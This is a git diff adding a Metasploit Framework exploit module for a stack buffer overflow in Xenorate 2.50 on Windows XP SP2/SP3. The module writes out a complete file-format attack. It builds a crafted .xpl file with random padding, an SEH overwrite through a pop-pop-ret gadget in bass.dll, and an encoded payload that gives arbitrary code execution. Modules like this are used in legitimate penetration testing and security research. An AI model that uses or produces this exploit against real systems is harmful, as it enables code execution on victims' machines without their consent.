diff --git a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb new file mode 100644 index 0000000000..9fdc54db1a --- /dev/null +++ b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb @@ -0,0 +1,74 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Xenorate 2.50(.xpl) universal Local Buffer Overflow Exploit (SEH)', + 'Description' => %q{ + This module exploits a stack overflow in Xenorate 2.50 + By creating a specially crafted xpl file, an an attacker may be able + to execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'hack4love ', + 'germaya_x', + 'loneferret', + 'jduck' + ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'URL', 'http://www.exploit-db.com/exploits/10371' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh', + }, + 'Payload' => + { + 'Space' => 5100, + 'BadChars' => "\x00", + 'StackAdjustment' => -3500, + 'DisableNops' => true, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], # pop pop ret => bass.dll + ], + 'Privileged' => false, + 'DisclosureDate' => 'Aug 19 2009', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'msf.xpl']), + ], self.class) + + end + + def exploit + + sploit = rand_text_alpha_upper(88) + sploit << generate_seh_payload(target.ret) + sploit << payload.encoded + + print_status("Creating '#{datastore['FILENAME']}' file ...") + file_create(sploit) + + end + +end